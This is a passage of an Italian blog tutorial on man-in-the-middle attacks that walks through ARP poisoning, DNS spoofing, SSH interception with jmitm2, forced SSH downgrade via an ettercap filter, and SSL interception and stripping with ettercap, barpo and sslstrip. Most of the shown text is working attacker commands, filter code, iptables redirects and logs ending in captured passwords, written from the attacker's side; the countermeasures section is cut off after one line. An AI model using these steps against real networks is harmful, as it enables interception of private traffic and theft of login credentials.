verra' marcato con il MAC Address sbagliato (quello di Darth invece che Bob) e raggiungera' l'attacker, e lo<br />
stesso avviene per Bob.<br />
Darth, dal canto suo, non deve fare altro che sniffare i pacchetti che transitano sulla sua scheda di rete e,<br />
dopo averli salvati/modificati/letti, li inoltra ai corretti destinatari.<br />
Questa era una spiegazione di massima di come funziona l'ARP cache poisoning: vi consiglio vivamente di dare<br />
uno sguardo all'articolo [2] per capire a fondo come e perche' questo attacco funziona.<br />
Dato ora per scontato che Darth sia riuscito ad eseguire correttamente l'attacco, ora e' in una posizione<br />
favorevole per eseguire qualsiasi operazione sui dati in transito tra i due host.<br />
Per eseguire l'attacco sono disponibili tantissimi tools che trovate qui [3].</p>
<p>[o] SSH MITM<br />
------------------------------------------------------------------------------------------------------------------------<br />
Il nostro scopo, ora, e' sfruttare l'ARP cache poisoning (piu' qualche altra tecnica[4]) per ottenere le<br />
credenziali di accesso di SSH di un determinato server.<br />
Immaginiamo che Alice abbia IP 192.168.1.5 e che tenti di collegarsi ad un server, ssh.fuffa.server con IP 87.20.37.182,<br />
mentre noi attacker avremo IP 192.168.1.2.<br />
Dobbiamo prima di tutto fare in modo che tutto il traffico passi per il nostro PC, eseguiamo quindi il classico<br />
ARP cache poisoning.<br />
Come secondo passo, dobbiamo far puntare ssh.fuffa.server al nostro IP, banale usare un DNS spoofing[4] che non<br />
fara' altro che associare il nome ssh.fuffa.server al nostro IP (192.168.1.2).<br />
Per eseguire questi due attacchi ho usato ettercap[3].</p>
<p>Vediamo una prima connessione al server ssh.fuffa.server da parte della nostra vittima:</p>
<p>Alice@dragon:~$ ssh Alice@ssh.fuffa.server<br />
The authenticity of host 'ssh.fuffa.server (87.20.37.182)' can't be established.<br />
RSA key fingerprint is 27:d0:80:59:67:ea:94:12:10:85:a2:84:f7:39:00:f5.<br />
Are you sure you want to continue connecting (yes/no)? yes</p>
<p>Una volta accettata la chiave, viene salvata e mai piu' richiesto il salvataggio.<br />
Se cercassimo banalmente di eseguire un cambio di chiave(per esempio tramite mitm-ssh), ovvero sottoporre ad Alice una<br />
chiave differente per l'host ssh.fuffa.server, ecco cosa otterremmo sulla macchina di Alice:</p>
<p>Alice@dragon:~$ ssh Alice@ssh.fuffa.server<br />
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br />
@       WARNING: POSSIBLE DNS SPOOFING DETECTED!          @<br />
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br />
The RSA host key for ssh.fuffa.server has changed,<br />
and the key for the corresponding IP address 192.168.1.2<br />
is unchanged. This could either mean that<br />
DNS SPOOFING is happening or the IP address for the host<br />
and its host key have changed at the same time.<br />
Offending key for IP in /home/Alice/.ssh/known_hosts:4<br />
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br />
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @<br />
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br />
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!<br />
Someone could be eavesdropping on you right now (man-in-the-middle attack)!<br />
It is also possible that the RSA host key has just been changed.<br />
The fingerprint for the RSA key sent by the remote host is<br />
7d:a1:19:1b:b5:96:cf:87:7c:84:1f:ae:b6:93:14:ad.<br />
Please contact your system administrator.<br />
Add correct host key in /home/Alice/.ssh/known_hosts to get rid of this message.<br />
Offending key in /home/Alice/.ssh/known_hosts:1<br />
RSA host key for ssh.fuffa.server has changed and you have requested strict checking.<br />
Host key verification failed.<br />
Alice@dragon:~$ </p>
<p>Il che insospettirebbe chiunque.<br />
Utilizziamo invece un altro strumento, jmitm2[5].<br />
Questo utile strumenti scritto in java (argh) ci permettera' di eseguire un SSH MITM pulito.<br />
Bisogna prima di tutto modificare nel file bin/conf/server.xml i vari parametri come bind address e bind port.<br />
Una volta impostati, bisogna inserire l'IP del server SSH nel file runm.sh e, una volta fatto, farlo partire<br />
(N.B. l'output e' molto prolisso, ho tagliato molte parti e ne ho lasciate solo alcune a scopo informativo)<br />
(N.B.B. e' possibile specificare piu' IP, quindi piu' host da controllare, semplicemente duplicando la riga presente<br />
in runm.sh cambiando l'IP)</p>
<p>[me@gnab gib bin]# ./runm.sh<br />
0 [main] INFO com.sshtools.j2ssh.configuration.ConfigurationLoader  - Extension directory not available<br />
9 [main] INFO com.sshtools.j2ssh.configuration.ConfigurationLoader  - Loading api configuration from file:/home/stavro/jmitm2-0.1.0/bin/conf/sshtools.xml<br />
151 [main] INFO com.sshtools.j2ssh.configuration.ConfigurationLoader  - Loading server configuration from file:/home/stavro/jmitm2-0.1.0/bin/conf/server.xml<br />
191 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration  - ServerHostKey AlgorithmName=ssh-dss PrivateKeyFile=conf/j_server_key<br />
192 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration  - MaxConnections=10<br />
192 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration  - ListenAddress=192.168.1.2<br />
192 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration  - Port=22<br />
193 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration  - CommandPort=10001<br />
200 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration  - TerminalProvider=/bin/bash<br />
200 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration  - AllowedAuthentication=publickey<br />
201 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration  - AllowedAuthentication=password<br />
201 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration  - RequiredAuthentication=password<br />
201 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration  - AuthorizationFile=authorization.xml<br />
201 [main] DEBUG com.sshtools.j2ssh.configuration.ServerConfiguration  - UserConfigDirectory=%D\.ssh2<br />
202 [main] INFO com.sshtools.j2ssh.configuration.ConfigurationLoader  - Loading platform configuration from file:/home/stavro/jmitm2-0.1.0/bin/conf/platform.xml<br />
224 [main] DEBUG com.sshtools.j2ssh.configuration.PlatformConfiguration  - NativeAuthenticationProvider=com.sshtools.j2ssh.platform.MitmFakeAuthenticationProvider<br />
225 [main] INFO com.sshtools.j2ssh.MitmGlue  - mitm: MitmGlue starting up<br />
262 [main] INFO com.sshtools.j2ssh.transport.cipher.SshCipherFactory  - Loading supported cipher algorithms<br />
280 [main] INFO com.sshtools.j2ssh.transport.kex.SshKeyExchangeFactory  - Loading key exchange methods<br />
303 [main] INFO com.sshtools.j2ssh.transport.publickey.SshKeyPairFactory  - Loading public key algorithms<br />
333 [main] INFO com.sshtools.j2ssh.transport.compression.SshCompressionFactory  - Loading compression methods<br />
337 [main] INFO com.sshtools.j2ssh.transport.hmac.SshHmacFactory  - Loading message authentication methods<br />
350 [main] INFO com.sshtools.j2ssh.MitmGlue$MitmGlueConnectionThread  - mitm: MitmGlueConnection thread created<br />
373 [main] INFO com.sshtools.j2ssh.authentication.SshAuthenticationClientFactory  - Loading supported authentication methods<br />
406 [main] INFO com.sshtools.j2ssh.authentication.SshAuthenticationServerFactory  - Loading supported authentication methods<br />
441 [main] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectionListener  - mitm: new MitmConnectionListener created<br />
449 [Connection listener 1] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectionListener  - Starting connection listener thread<br />
11330 [Connection listener 1] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectionListener  - New connection requested<br />
11356 [Connection listener 1] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectedSession  - mitm: new MitmConnectedSession created by com.sshtools.j2ssh.MitmServer$MitmConnectedSession@1df5a8f<br />
11411 [Connection listener 1] INFO com.sshtools.j2ssh.configuration.ConfigurationLoader  - Attempting to load j2ssh.properties<br />
11414 [Connection listener 1] INFO com.sshtools.j2ssh.configuration.ConfigurationLoader  - Failed to load file from configuration directory, trying SSHTools home<br />
11421 [Connection listener 1] INFO com.sshtools.j2ssh.configuration.ConfigurationLoader  - Failed to load file from SSHTools home directory, trying as absolute path<br />
11454 [Connected session 1] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectedSession  - Initializing connection<br />
19629 [Connected session 1] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectedSession  - Remote Hostname: 192.168.1.5<br />
19630 [Connected session 1] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectedSession  - Remote IP: 192.168.1.5<br />
19630 [Connected session 1] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectedSession  - mitm: about to create new MitmAuthentcationProtocolServer<br />
19653 [Connected session 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationProtocolServer  - mitm: new MitmAuthenticationProtocolServer generated<br />
19691 [Connected session 1] DEBUG com.sshtools.j2ssh.MitmServer$MitmConnectedSession  - mitm: about to create new MitmSessionChannelFactory<br />
19694 [Connected session 1] DEBUG com.sshtools.j2ssh.session.MitmSessionChannelFactory  - mitm: MitmSessionChannelFactory created<br />
27898 [Connected session 1] INFO com.sshtools.j2ssh.MitmServer$MitmConnectionListener  - Monitoring active session from 192.168.1.5<br />
27899 [Connected session 1] INFO com.sshtools.j2ssh.transport.TransportProtocolCommon  - Starting transport protocol<br />
27902 [Connected session 1] INFO com.sshtools.j2ssh.transport.TransportProtocolCommon  - Loading native settings from platform configuration<br />
27904 [Transport protocol 1] INFO com.sshtools.j2ssh.transport.TransportProtocolCommon  - Registering transport protocol messages with inputstream<br />
27947 [Transport protocol 1] INFO com.sshtools.j2ssh.transport.TransportProtocolCommon  - Negotiating protocol version<br />
27948 [Transport protocol 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolCommon  - Local identification: SSH-2.0-http://www.sshtools.com J2SSH [SERVER]<br />
27952 [Transport protocol 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolCommon  - EOL is guessed at CR+LF<br />
27953 [Transport protocol 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolCommon  - Remote identification: SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1<br />
27954 [Transport protocol 1] INFO com.sshtools.j2ssh.transport.TransportProtocolCommon  - Protocol negotiation complete</p>
<p>[...] output trimmed [...]</p>
<p>31066 [Transport protocol 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolCommon  - Sending SSH_MSG_SERVICE_ACCEPT<br />
31068 [Transport protocol 1] INFO com.sshtools.j2ssh.transport.Service  - Starting ssh-userauth service thread<br />
31070 [Transport protocol 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolInputStream  - Read 40 bytes from socket<br />
31072 [Transport protocol 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolCommon  - Processing SSH_MSG_USERAUTH_REQUEST<br />
31075 [ssh-userauth 1] INFO com.sshtools.j2ssh.transport.Service  - ssh-userauth is processing SSH_MSG_USERAUTH_REQUEST<br />
31081 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationProtocolServer  - mitm: MitmAuthenticationProtocolServer.onMessageRecieved(com.sshtools.j2ssh.authentication.SshMsgUserAuthRequest@1d62270)<br />
31083 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationProtocolServer  - mitm: MitmAuthenticationProtocolServer.onMsgUserAuthRequest()<br />
31088 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolCommon  - Sending SSH_MSG_USERAUTH_FAILURE<br />
45863 [Transport protocol 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolInputStream  - Read 120 bytes from socket<br />
45869 [Transport protocol 1] DEBUG com.sshtools.j2ssh.transport.TransportProtocolCommon  - Processing SSH_MSG_USERAUTH_REQUEST<br />
45869 [ssh-userauth 1] INFO com.sshtools.j2ssh.transport.Service  - ssh-userauth is processing SSH_MSG_USERAUTH_REQUEST<br />
45870 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationProtocolServer  - mitm: MitmAuthenticationProtocolServer.onMessageRecieved(com.sshtools.j2ssh.authentication.SshMsgUserAuthRequest@1113622)<br />
45870 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationProtocolServer  - mitm: MitmAuthenticationProtocolServer.onMsgUserAuthRequest()<br />
45870 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationProtocolServer  - MAprotoServer: about to crate new MAs by calling MASF.newInstance!<br />
45870 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationServerFactory  - mitm: creating new MitmAuthenticationServer<br />
45871 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationServer  - mitm: MitmAuthenticationServer created<br />
45871 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationServer  - mitm: setMigmGlue() called<br />
45871 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.authentication.MitmAuthenticationProtocolServer  - mitm: about to authenticate..<br />
45872 [ssh-userauth 1] INFO com.sshtools.j2ssh.authentication.MitmAuthenticationServer  - Trying to get instance of authentication provider</p>
<p>@@@@@ ecco le credenziali @@@@@@<br />
45889 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.platform.MitmFakeAuthenticationProvider  - mitm: username/password is Alice / sniffit<br />
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@</p>
<p>45889 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.platform.MitmFakeAuthenticationProvider  - mitm: setCredentials()<br />
45890 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.MitmGlue  - mitm: setCredentials() called<br />
45890 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.platform.MitmFakeAuthenticationProvider  - mitm: doAuthentication()<br />
45890 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.MitmGlue  - mitm: doAuthentication() called, state was 2<br />
45890 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.MitmGlue  - mitm: called connect()<br />
45890 [ssh-userauth 1] DEBUG com.sshtools.j2ssh.MitmGlue  - mitm: connect(): trying to connect client<br />
[...] output trimmed [...]</p>
<p>Et voila', username e password in chiaro.<br />
Sul PC della nostra vittima possiamo notare:</p>
<p>Alice@dragon:~$ ssh Alice@ssh.fuffa.server<br />
WARNING: RSA key found for host ssh.fuffa.server<br />
in /home/Alice/.ssh/known_hosts:6<br />
RSA key fingerprint 27:d0:80:59:67:ea:94:12:10:85:a2:84:f7:39:00:f5.<br />
+--[ RSA 2048]----+<br />
|oo+=o+o o        |<br />
|o.+.o. B         |<br />
|oo oE.= .        |<br />
|.   ++ .         |<br />
|     .. S .      |<br />
|         o       |<br />
|                 |<br />
|                 |<br />
|                 |<br />
+-----------------+</p>
<p>The authenticity of host 'ssh.fuffa.server (192.168.1.2)' can't be established<br />
but keys of different type are already known for this host.<br />
DSA key fingerprint is d5:8a:ad:bd:85:84:fe:41:32:47:bc:3e:70:ef:f8:21.<br />
Are you sure you want to continue connecting (yes/no)? yes<br />
Warning: Permanently added 'ssh.fuffa.server,192.168.1.2' (DSA) to the list of known hosts.<br />
Alice@ssh.fuffa.server's password:</p>
<p>Ed ecco che l'utente e' caduto nella nostra trappola.<br />
Semplicemente: jmitm2 si e' messo in ascolto sulla porta 22 per nuove connessioni.<br />
Volendo sniffare le credenziali di Alice al server ssh.fuffa.server, abbiamo eseguito un DNS spoofing: quando Alice<br />
prova a contattare il server, rispondiamo noi.<br />
Messo a punto lo scenario, Alice tentera' di collegarsi alla porta 22 del server e, invece che rispondere<br />
direttamente lui, rispondera' jmitm2 che provvedera' a scambiare le chiavi tra tutti gli host in gioco,<br />
sottoponendo una chiave di tipo diverso ad Alice (DSA invece che RSA) chiedendo di accettare la nostra di chiave.<br />
Alice, accettando, salva ed usa la nostra chiave e jmitm2 ha svolto il suo lavoro: d'ora in poi dovra' solo inoltrare<br />
i pacchetti dal server ad Alice e viceversa, loggando tutto.</p>
<p>N.B. Si e' dato per scontato che la porta SSH di ssh.fuffa.server sia 22, nel caso bisogna selezionare la giusta<br />
porta.</p>
<p>N.B.B. Questo tipo di attacco non e' possibile su server SSH locali poiche' quando avviene l'invio del certificato<br />
fasullo, SSH mostra quel messaggio d'errore: stiamo infatti ponendo un secondo certificato diverso per lo stesso host<br />
di destinazione. In pratica, SSH vede che allo stesso IP corrispondono due certificati, restando in allerta. Quello che<br />
facciamo noi, invece, e' cambiare l'IP del server aggirando il controllo, lasciando il nome host uguale.</p>
<p>N.B.M.D.B. Questo attacco ha un piccolo difetto: quando viene sottoposta la nuova chiave ad Alice, potete notare la<br />
prima riga dopo l'image fingerprint:</p>
<p>The authenticity of host 'ssh.fuffa.server (192.168.1.2)' can't be established</p>
<p>come potete notare, l'IP in parentesi non e' quello di ssh.fuffa.server ma quello dell'attaccante.<br />
Una persona scaltra potrebbe notarlo e non accettare la richiesta e/o avvertire chi di competenza. </p>
<p>[o.o] SSH Downgrade<br />
----------------------------------------------------------------------------------------------------------------<br />
L'attacco denominato SSH Downgrade si basa sul principio che la versione 1 di SSH e' vulnerabile nel CRC32<br />
compensation attack detector[6] che permette di eseguire comandi remoti e leggere aree di memoria arbitrarie.<br />
Sfruttando la nostra posizione favorevole nella rete, possiamo avvalerci di questa vulnerabilita' per sottrarre<br />
le credenziali d'accesso a noi tanto care.<br />
Ovviamente, per eseguire questo attacco e' necessario che il server SSH supporti la versione 1, che e' disabilitata<br />
di default su tutte le nuove installazione di SSHd.<br />
Per verificare se il server supporta la versione 1 di SSH, basta verificarne il banner come segue:</p>
<p>[me@gnab gib]$ telnet 192.168.1.8 22<br />
Trying 192.168.1.8...<br />
Connected to 192.168.1.8.<br />
Escape character is '^]'.<br />
SSH-1.99-OpenSSH_5.3</p>
<p>Protocol mismatch.<br />
Connection closed by foreign host.<br />
[me@gnab gib]$</p>
<p>Come possiamo vedere, il banner indica SSH-1.99, questo vuol dire che il server supporta sia la versione 1 che 2 di<br />
SSH. Se avessimo ottenuto SSH-2.0, allora il server supporta solo la versione 2, mentre SSH-1.51 indica il solo<br />
supporto alla versione 1.<br />
In questo scenario il server SSH ha IP 192.168.1.8 mentre Alice ha sempre IP 192.168.1.5.<br />
Verificato (o non), possiamo partire con l'attacco: per farlo ci avvaleremo di ettercap[3].<br />
Per eseguire l'SSH downgrade con ettercap e' necessario un filtro; il programma ne ha gia' uno:</p>
<p>[root@gnab gib ~]# cat /usr/share/ettercap/etter.filter.ssh<br />
############################################################################<br />
#                                                                          #<br />
#  ettercap -- etter.filter -- filter source file                          #<br />
#                                                                          #<br />
#  Copyright (C) ALoR &#038; NaGA                                               #<br />
#                                                                          #<br />
#  This program is free software; you can redistribute it and/or modify    #<br />
#  it under the terms of the GNU General Public License as published by    #<br />
#  the Free Software Foundation; either version 2 of the License, or       #<br />
#  (at your option) any later version.                                     #<br />
#                                                                          #<br />
############################################################################</p>
<p>##<br />
#<br />
#   This filter will substitute the SSH server response from SSH-1.99 to<br />
#   SSH-1.51, so if the server supports both ssh1 and ssh2 we will force<br />
#   it to use ssh1... <img src='http://www.manuelelancia.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
#   server response :    SSH-2.00   only ssh2 supported<br />
#                        SSH-1.99   both ssh1 and ssh2 supported<br />
#                        SSH-1.51   only ssh1 supported<br />
##</p>
<p>if (ip.proto == TCP) {<br />
   if (tcp.src == 22) {</p>
<p>      if ( replace("SSH-1.99", "SSH-1.51") ) {<br />
         msg("[SSH Filter] SSH downgraded from version 2 to 1\n");<br />
      } else {<br />
         if ( search(DATA.data, "SSH-2.00") ) {<br />
            msg("[SSH Filter] Server supports only SSH version 2\n");<br />
         } else {<br />
            if ( search(DATA.data, "SSH-1.51") ) {<br />
               msg("[SSH Filter] Server already supports only version 1\n");<br />
            }<br />
         }<br />
      }<br />
   }<br />
}<br />
[root@gnab gib ~]# </p>
<p>Notiamo quanto detto: se nel payload del pacchetto TCP proveniente dalla porta 22 (nel caso di porta differente dovete<br />
cambiare il valore) viene riscontrato il banner SSH-1.99, questo viene sostituito con SSH-1.51: in questo modo<br />
facciamo credere ad Alice che il server supporta SOLO la versione 1, forzando il client ssh ad instaurare una<br />
connessione via SSH 1, rendendo facile lo sniffing delle credenziali.<br />
Iniziamo la procedura d'attacco compilando il filtro:</p>
<p>[root@gnab gib ~]# etterfilter etter.filter.ssh -o ssh_downgrade</p>
<p>Dopo di che facciamo partire ettercap:</p>
<p>[root@gnab gib ~]# ettercap -Tq -F /usr/share/ettercap/ssh_downgrade -M arp /192.168.1.8/ /192.168.1.5/<br />
ettercap NG-0.7.3 copyright 2001-2004 ALoR &#038; NaGA</p>
<p>Content filters loaded from /usr/share/ettercap/ssh_downgrade...<br />
Listening on eth0... (Ethernet)</p>
<p>eth0 -> 00:0A:E4:59:87:7E 192.168.1.2 255.255.255.0</p>
<p>SSL dissection needs a valid &#8216;redir_command_on&#8217; script in the etter.conf file<br />
Privileges dropped to UID 65534 GID 65534&#8230;</p>
<p>28 plugins<br />
39 protocol dissectors<br />
53 ports monitored<br />
7587 mac vendor fingerprint<br />
1698 tcp OS fingerprint<br />
2183 known services</p>
<p>Scanning for merged targets (2 hosts)&#8230;</p>
<p>* |==================================================>| 100.00 %</p>
<p>2 hosts added to the hosts list&#8230;</p>
<p>ARP poisoning victims:</p>
<p> GROUP 1 : 192.168.1.8 00:40:F4:A9:ED:6A</p>
<p> GROUP 2 : 192.168.1.5 00:16:CE:61:62:43<br />
Starting Unified sniffing&#8230;</p>
<p>Text only Interface activated&#8230;<br />
Hit &#8216;h&#8217; for inline help</p>
<p>Lato client, Alice prova a collegarsi al server:</p>
<p>[Alice@dragon ~]$ ssh Alice@192.168.1.8<br />
WARNING: RSA key found for host server<br />
in /home/stavro/.ssh/known_hosts:1<br />
RSA key fingerprint c4:73:06:7f:32:65:59:f0:73:14:ee:e1:31:26:d1:25.<br />
+&#8211;[ RSA 2048]&#8212;-+<br />
|        .   +=E.=|<br />
|       . o o..o+ |<br />
|        + * ..o*.|<br />
|       . + +  =o+|<br />
|        S      o |<br />
|                 |<br />
|                 |<br />
|                 |<br />
|                 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+</p>
<p>The authenticity of host &#8217;192.168.1.8 (192.168.1.8)&#8217; can&#8217;t be established<br />
but keys of different type are already known for this host.<br />
RSA1 key fingerprint is 7e:50:5c:52:ba:bc:75:87:24:51:a8:d3:6b:45:82:e2.<br />
Are you sure you want to continue connecting (yes/no)? yes</p>
<p>Et voila&#8217;, in ettercap avremo:</p>
<p>[SSH Filter] SSH downgraded from 2 to 1<br />
SSH: 192.168.1.8:22 -> USER: Alice PASS: trytosniffit</p>
<p>[o] SSL MITM<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Abbiamo appena portato con successo due attacchi ad SSH. Ora bisogna vedere come sfruttare il nostro mitm per colpire<br />
SSL, tanto caro alle transazioni bancarie (ed ai social network <img src='http://www.manuelelancia.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .<br />
Anche in questo caso useremo ettercap, fedele aiuto e strumento prezioso.<br />
Bisogna prima di tutto droppare i privilegi di ettercap a root impostando ec_uid ed ec_gid a 0; poi bisogna<br />
decommentare le regole del firewall in etter.conf (nel mio caso, GNU/Linux con iptables):</p>
<p>redir_command_on = &#8220;iptables -t nat -A PREROUTING -i %iface -p tcp &#8211;dport %port -j REDIRECT &#8211;to-port %rport&#8221;<br />
redir_command_off = &#8220;iptables -t nat -D PREROUTING -i %iface -p tcp &#8211;dport %port -j REDIRECT &#8211;to-port %rport&#8221;</p>
<p>Dopo di che possiamo subito far partire il nostro attacco:</p>
<p>[root@gnab gib ~]# ettercap -Tq -M arp /192.168.1.5/ //<br />
ettercap NG-0.7.3 copyright 2001-2004 ALoR &#038; NaGA</p>
<p>Listening on eth0&#8230; (Ethernet)</p>
<p>  eth0 ->	00:0A:E4:59:87:7E       192.168.1.2     255.255.255.0</p>
<p>Privileges dropped to UID 0 GID 0&#8230;</p>
<p>  28 plugins<br />
  39 protocol dissectors<br />
  53 ports monitored<br />
7587 mac vendor fingerprint<br />
1698 tcp OS fingerprint<br />
2183 known services</p>
<p>Randomizing 255 hosts for scanning&#8230;<br />
Scanning the whole netmask for 255 hosts&#8230;<br />
* |==================================================>| 100.00 %</p>
<p>5 hosts added to the hosts list&#8230;</p>
<p>ARP poisoning victims:</p>
<p> GROUP 1 : 192.168.1.5 00:16:CE:61:62:43</p>
<p> GROUP 2 : ANY (all the hosts in the list)<br />
Starting Unified sniffing&#8230;</p>
<p>Text only Interface activated&#8230;<br />
Hit &#8216;h&#8217; for inline help</p>
<p>Possiamo vedere anche lo stato di iptables:</p>
<p>[root@gnab gib ~]# iptables -t nat -L<br />
Chain PREROUTING (policy ACCEPT)<br />
target     prot opt source               destination<br />
REDIRECT   tcp  &#8212;  anywhere             anywhere            tcp dpt:https redir ports 59264<br />
REDIRECT   tcp  &#8212;  anywhere             anywhere            tcp dpt:imaps redir ports 59265<br />
REDIRECT   tcp  &#8212;  anywhere             anywhere            tcp dpt:ircs redir ports 59266<br />
REDIRECT   tcp  &#8212;  anywhere             anywhere            tcp dpt:ldaps redir ports 59267<br />
REDIRECT   tcp  &#8212;  anywhere             anywhere            tcp dpt:nntps redir ports 59268<br />
REDIRECT   tcp  &#8212;  anywhere             anywhere            tcp dpt:pop3s redir ports 59269<br />
REDIRECT   tcp  &#8212;  anywhere             anywhere            tcp dpt:ssmtp redir ports 59270<br />
REDIRECT   tcp  &#8212;  anywhere             anywhere            tcp dpt:telnets redir ports 59271<br />
REDIRECT   tcp  &#8212;  anywhere             anywhere            tcp dpt:webcache redir ports 59263 </p>
<p>Chain POSTROUTING (policy ACCEPT)<br />
target     prot opt source               destination         </p>
<p>Chain OUTPUT (policy ACCEPT)<br />
target     prot opt source               destination</p>
<p>Al visitare una pagina che richiede autenticazione SSL, a seconda del browser usato da Alice, verra&#8217; mostrata una<br />
finestra che indica la non genuinita&#8217; del certificato sottoposto e verra&#8217; chiesto cosa fare.<br />
Poiche&#8217; molti siti hanno certificati scaduti o non validi, e poiche&#8217; capita che anche i browser ci mettano del loro,<br />
in questo caso la vulnerabilita&#8217; sfruttata e&#8217; nell&#8217;uomo che, non curante, accetta il certificato, procedendo al login.<br />
A questo punto il nostro ettercap ha svolto il suo lavoro:</p>
<p>HTTP : 209.85.129.99:443 -> USER: antani PASS: st0c4zz0 INFO: https://www.google.com/accounts/ServiceLogin?service=mail&#038;<br />
passive=true&#038;rm=false&#038;continue=http://mail.google.com/mail/?ui=html&#038;zy=l&#038;&#8230;.</p>
<p>C&#8217;e&#8217; pero&#8217; una problematica: ettercap effettua sostanzialmente uno switch di certificati: genera al volo un certificato<br />
SSL del tutto identico a quello originale, tranne ovviamente il fingerprint e l&#8217;assenza di issuer validi (da qui il messaggio d&#8217;errore dei browser).<br />
Esiste una tecnica molto interessante che permette di eseguire un attacco SSL MITM senza usare i certificati, ma che non funziona in ogni situazione: eseguire il redirect del traffico HTTPS su HTTP &#8220;eliminando&#8221; SSL, il tutto in maniera trasparente all&#8217;utente che non si accorgerebbe della mancanza di SSL.<br />
Per fare questo possiamo utilizzare sia ettercap che barpo. Prenderemo in considerazione barpo.</p>
<p>Per prima cosa, effettuiamo un ARP Cache poisoning della nostra vittima 192.168.1.5 verso il gateway 192.168.1.1:</p>
<p>[root@gnab gib ~]# bash barpo.sh -h 192.168.1.5 -g 192.168.1.1<br />
&#8230;</p>
<p>Fatto questo dobbiamo prima impostare il redirect di tutto il traffico HTTP sulla porta d&#8217;ascolto di sslstrip (di default e&#8217; la 10000) in maniera esplicita:</p>
<p>[root@gnab gib ~]# iptables -t nat -A PREROUTING -p tcp &#8211;dport 80 -j REDIRECT &#8211;to-port
<porta-sslstrip>
<p>A questo punto, possiamo lanciare sslstrip[7]:</p>
<p>[root@gnab gib ~]# sslstrip -f -s -w logfile</p>
<p>Una delle cose interessanti di sslstrip e&#8217; che con l&#8217;opzione -f permette di visualizzare, sul browser della vittima, la favicon del lucchetto chiuso, utilizzata a volte come simbolo per indiricare una connesione sicura.</p>
<p>Nel browser della vittima, quando tenteremo di collegarci ad un sito che fa uso di HTTPS, invece di avere un URL del tipo https://www.sitosicuro.com, avremo http://www.sitosicuro.com.<br />
Come detto, questo non puo&#8217; funzionare sempre poiche&#8217; non tutti i siti che utlizzano HTTPS permettono del traffico in chiaro sulle pagine<br />
protette da SSL.</p>
<p>All&#8217;interno di logfile, possiamo trovare le credenziali di nostro interesse.</p>
<p>[o] Contromisure<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
In principio, era l&#8217;ARP cache poisoning. Se si riesce ad evitare questo attacco, si e&#8217; fatto (quasi) tutto il lavoro.<br />
